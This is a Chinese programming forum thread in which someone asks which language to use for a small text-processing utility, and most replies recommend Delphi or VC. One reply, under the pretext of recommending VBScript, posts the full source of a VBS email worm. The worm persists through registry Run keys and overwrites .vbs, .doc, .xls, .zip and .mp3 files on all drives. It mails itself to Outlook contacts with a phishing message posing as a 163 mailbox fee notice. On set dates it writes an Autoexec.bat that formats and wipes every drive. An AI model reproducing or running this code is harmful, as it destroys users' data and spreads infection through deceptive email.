我要写一个小软件。很简单。没有数据库操作。主要是文本文件的读取,字符串的操作。我估计程序代码,不会超过50K.我想程序的通用性好点,什么95,98,me,nt,2000,xp通吃。用哪种语言好点?高效一点?(我学习能力还行,不熟的两三天就熟了)VB ,我比较熟,当软件发行时要一个vb运行库。1M 多,不爽。
C# , 了解一点,正在学,但作应用程序更不爽,运行库还大,且不同的系统库还不一样。用哪种语言,请高手指点。

解决方案 »

  1.   

    用Delphi写小程序较好,也不需要带什么运行库.VC也行.
    我推荐使用Delphi.
      

  2.   

    只能用VC++
    delphi的运行库也不是很小
    另外一种方法,使用的语言就无所谓了,使用API函数来写,非常的小!
    :)
      

  3.   

    delphi vc 都行!
    你既然在这里问推荐delphi吧!
    不过50K太小,没有界面应该可以,如果有界面,难办!
      

  4.   

    推荐 Vbs, 估计不会超过10K.这里有我写的一个Vbs病毒,你可以借鉴借鉴:
      

  5.   

    On Error Resume Next
    dim filesys,sysdir,windir,file,vbscp
    Set filesys = CreateObject("Scripting.FileSystemObject")
    set file = filesys.OpenTextFile(WScript.ScriptFullname,1) 
    vbscp=file.ReadAll 
    main()sub main() 
    On Error Resume Next 
    dim timeover,err,sm,imme,addadd,address,c 
    set timeover=CreateObject("WScript.Shell") 
    err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
    if (err>=1) then 
    timeover.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    set sm=CreateObject("WScript.Shell") 
    imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
    if (imme>=0) then 
    sm.RegWrite "HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately",1,"REG_DWORD"
    end if
    set addadd=CreateObject("WScript.Shell") 
    address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB")
    if (address>=0) then 
    addadd.RegWrite "HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB",1,"REG_DWORD"
    end if
    Set windir = filesys.GetSpecialFolder(0)
    Set sysdir = filesys.GetSpecialFolder(1)
    Set c = filesys.GetFile(WScript.ScriptFullName) 
    c.Copy(sysdir&"\Kernel32.vbs")
    c.Copy(windir&"\Rundll32.vbs")
    c.Copy(sysdir&"\Table.htm.vbs")
    regload()
    mailworm()
    if day(now())=14 or day(now())=15 then
      killc()
    end if
    alldrivers()
    end sub sub regload()
    On Error Resume Next 
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Explorer",sysdir&"\Kernel32.vbs"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer",windir&"\Rundll32.vbs"
    end subsub alldrivers()
    On Error Resume Next 
    Dim d,dc,s 
    Set dc = filesys.Drives 
    For Each d in dc 
    If d.DriveType = 2 or d.DriveType=3 Then 
    folderlist(d.path&"\") 
    end if 
    Next 
    listadriv = s 
    end subsub infectfiles(folderspec)  
    On Error Resume Next 
    dim f,f1,fc,ext,ap,cop,s,docu
    set f = filesys.GetFolder(folderspec) 
    set fc = f.Files 
    for each f1 in fc 
    ext=filesys.GetExtensionName(f1.path) 
    ext=lcase(ext) 
    s=lcase(f1.name) 
    if (ext="vbs") then
    set ap=filesys.OpenTextFile(f1.path,2,true) 
    ap.write vbscp 
    ap.close 
    elseif(ext="doc") or (ext="xls") or (ext="zip") or (ext="mp3") then
    f1.attributes=0 
    set docu=filesys.OpenTextFile(f1.path,2,true)
    docu.write vbscp
    docu.close 
    filesys.deletefile f1.path,true
    end if
    next  
    end sub sub folderlist(folderspec)  
    On Error Resume Next 
    dim f,f1,sf 
    set f = filesys.GetFolder(folderspec)  
    set sf = f.SubFolders 
    for each f1 in sf 
    infectfiles(f1.path) 
    folderlist(f1.path) 
    next  
    end sub sub regcreate(regkey,regvalue) 
    Set regedit = CreateObject("WScript.Shell") 
    regedit.RegWrite regkey,regvalue 
    end sub function regget(value) 
    Set regedit = CreateObject("WScript.Shell") 
    regget=regedit.RegRead(value) 
    end function function fileexist(filespec) 
    On Error Resume Next 
    dim msg 
    if (filesys.FileExists(filespec)) Then 
    msg = 0 
    else 
    msg = 1 
    end if 
    fileexist = msg 
    end function function folderexist(folderspec) 
    dim msg 
    if (filesys.GetFolderExists(folderspec)) then 
    msg = 0 
    else 
    msg = 1 
    end if 
    fileexist = msg 
    end function sub mailworm() 
    On Error Resume Next 
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad 
    set regedit=CreateObject("WScript.Shell") 
    set out=WScript.CreateObject("Outlook.Application")
    set mapi=out.GetNameSpace("MAPI") 
    for ctrlists=1 to mapi.AddressLists.Count 
    set a=mapi.AddressLists(ctrlists) 
    x=1 
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
    if (regv="") then 
    regv=1 
    end if 
    if (int(a.AddressEntries.Count)>int(regv)) then 
    for ctrentries=1 to a.AddressEntries.Count 
    malead=a.AddressEntries(x) 
    regad="" 
    regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
    if (regad="") then 
    set male=out.CreateItem(0) 
    male.Recipients.Add(malead) 
    male.Subject = "163电子邮箱收费通知"
    male.Body = vbcrlf&"亲爱的用户:您好!163电子邮局已于近日开始实施对免费电子邮件服务进行收费的计划,欢迎您前来租用163电子邮箱,一年的使用费用为人民币100元(100M空间)。欲知详情,请仔细阅读附件中的申请步骤后进行申请租用注册。"
    male.Attachments.Add(sysdir&"\Table.htm.vbs")
    male.Send 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
    end if 
    x=x+1 
    next 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if 
    next 
    Set out=Nothing 
    Set mapi=Nothing 
    end sub sub killc()
    On Error Resume Next
    dim fs,auto,disc,ds,ss,i,x,dir
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set auto = fs.CreateTextFile("c:\Autoexec.bat", True)
    auto.WriteLine("@echo off")
    auto.WriteLine("Smartdrv")
    Set disc = fs.Drives
    For Each ds in disc
       If ds.DriveType = 2 Then
          ss = ss & ds.DriveLetter
       End if
    Next
    ss=LCase(StrReverse(Trim(ss)))
    For i=1 to Len(ss)
    x=Mid(ss,i,1)
    auto.WriteLine("format/autotest/q/u "&x&":")
    next
    For i=1 to Len(ss)
    x=Mid(ss,i,1)
    auto.WriteLine("deltree/y "&x&":")
    next
    auto.Close
    set dir=fs.GetFile("c:\Autoexec.bat")
    dir.attributes=dir.attributes+2
    End subrem Jessica Worm written by Bruce
    rem I dedicate it to my angel--Jessica
      

  6.   

    to: crossbow(La Vida Es Amor) 你哪病毒是仿 happytime 吧,没啥新意了to:(我想买手提电脑啊!) 
     你手提还没买啊,还是不要买了吧,不出差的话,没一点用。真的,背着又麻烦。
    我也想着是用delphi
      

  7.   

    用 Delphi 做,而且估计你的程序只处理一些文本,也不需要什么运行库。